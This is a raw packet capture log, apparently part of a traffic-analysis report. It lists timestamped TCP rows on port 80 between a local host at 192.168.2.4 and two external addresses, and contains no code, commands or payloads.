Jan 14, 2022 09:26:03.093924999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.094000101 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.094046116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.094063997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.094228983 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.094234943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.094244957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.094255924 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.094399929 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.094441891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.094461918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.094567060 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.094594955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.094611883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.094650984 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.094692945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.094877958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.094890118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.094913960 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.095063925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.095082045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.095223904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.095232010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.095254898 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.095410109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.095427990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.095598936 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.095643997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.097614050 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.097872019 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.097954988 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.098594904 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.098633051 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.098670959 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.098706961 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.098872900 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.100037098 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.100225925 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.102049112 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.117989063 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.131814003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.132141113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.132158041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.132368088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.132385969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.132627010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.132642984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.132844925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.132863045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.133089066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.133105040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.133302927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.133321047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.133546114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.133562088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.133734941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.133744955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.133909941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.133925915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.134052992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.134160042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.134299994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.142312050 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.142779112 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.142986059 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.143093109 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.148380041 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.148421049 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.148461103 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.148499012 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.148530006 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.148559093 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.148591995 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.148629904 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.148664951 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.148699999 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.148732901 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.148770094 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.148804903 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.148838997 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.148881912 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.148919106 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.148947954 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.148967028 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.148983955 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.149000883 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.149024963 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.149060011 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.151196957 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.151225090 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.153086901 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.153115034 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.157121897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.157160997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.157211065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.157399893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.157421112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.157573938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.157592058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.157716990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.157792091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.157941103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.157960892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.158123016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.158138037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.158298016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.158317089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.158477068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.158493996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.158657074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.158674955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.158834934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.158849955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.159010887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.159028053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.159192085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.159207106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.159373045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.159389973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.159549952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.159564972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.159727097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.159744024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.159902096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.159918070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.160084009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.160100937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.160202980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.160295010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.160443068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.160459995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.160610914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.160626888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.160782099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.160798073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.160947084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.160964966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.161112070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.161128044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.161283970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.161299944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.161448956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.161463976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.161618948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.161637068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.161782026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.161798000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.161921024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.162070990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.162086010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.162245989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.162264109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.162652969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.162668943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.162810087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.162867069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.162925005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.163016081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.163181067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.163311005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.163328886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.163476944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.163495064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.163569927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.163758993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.163779020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.163923979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.163944006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.164098024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.164120913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.164266109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.164283991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.164434910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.164453030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.164603949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.164618969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.164781094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.164798975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.164947033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.164963007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.165115118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.165132999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.165281057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.165296078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.165452957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.165471077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.165620089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.165636063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.165790081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.165807009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.165925026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.166065931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.166085005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.166249037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.166265011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.166429996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.166448116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.169553041 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.169585943 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.188415051 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.192043066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.192076921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.192276955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.192295074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.192495108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.192509890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.192714930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.192732096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.192934990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.192950964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.193156958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.193175077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.193376064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.193392038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.193598032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.193615913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.194047928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.194063902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.194232941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.194250107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.194427013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.194442987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.194606066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.194623947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.194760084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.194896936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.195075989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.195091963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.195262909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.195281029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.195434093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.195450068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.195614100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.195631981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.195785999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.195801973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.195960999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.195977926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.196135044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.196151018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.196331024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.196348906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.196513891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.196528912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.196690083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.196707964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.196871042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.196887970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.197061062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.197078943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.197171926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.197263956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.197372913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.197518110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.197730064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.197745085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.197896957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.197915077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.198023081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.198190928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.198210955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.198375940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.198396921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.198540926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.198556900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.198731899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.198751926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.198884010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.198904037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.199057102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.199078083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.199233055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.199249983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.199400902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.199419022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.199558020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.199575901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.199726105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.199740887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.199892044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.199908972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.200062990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.200078964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.200227976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.200244904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.200397968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.200413942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.200558901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.200576067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.200728893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.200747013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.200891972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.200906992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.201062918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.201081038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.201224089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.201241016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.201395988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.201412916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.201556921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.201571941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.201726913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.201744080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.201889992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.201905012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.210928917 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.217955112 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.218358994 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.218389034 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.221124887 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.222645998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.222764015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.222953081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.222970963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.223129988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.223136902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.223145008 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.223323107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.223341942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.223501921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.223517895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.223678112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.223695993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.223855019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.223870993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.224035978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.224054098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.224229097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.224246979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.224319935 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.224361897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.224497080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.224515915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.224678993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.224689960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.224860907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.224872112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.225066900 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.225131989 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.225162029 CET	80	49891	185.215.113.35	192.168.2.4
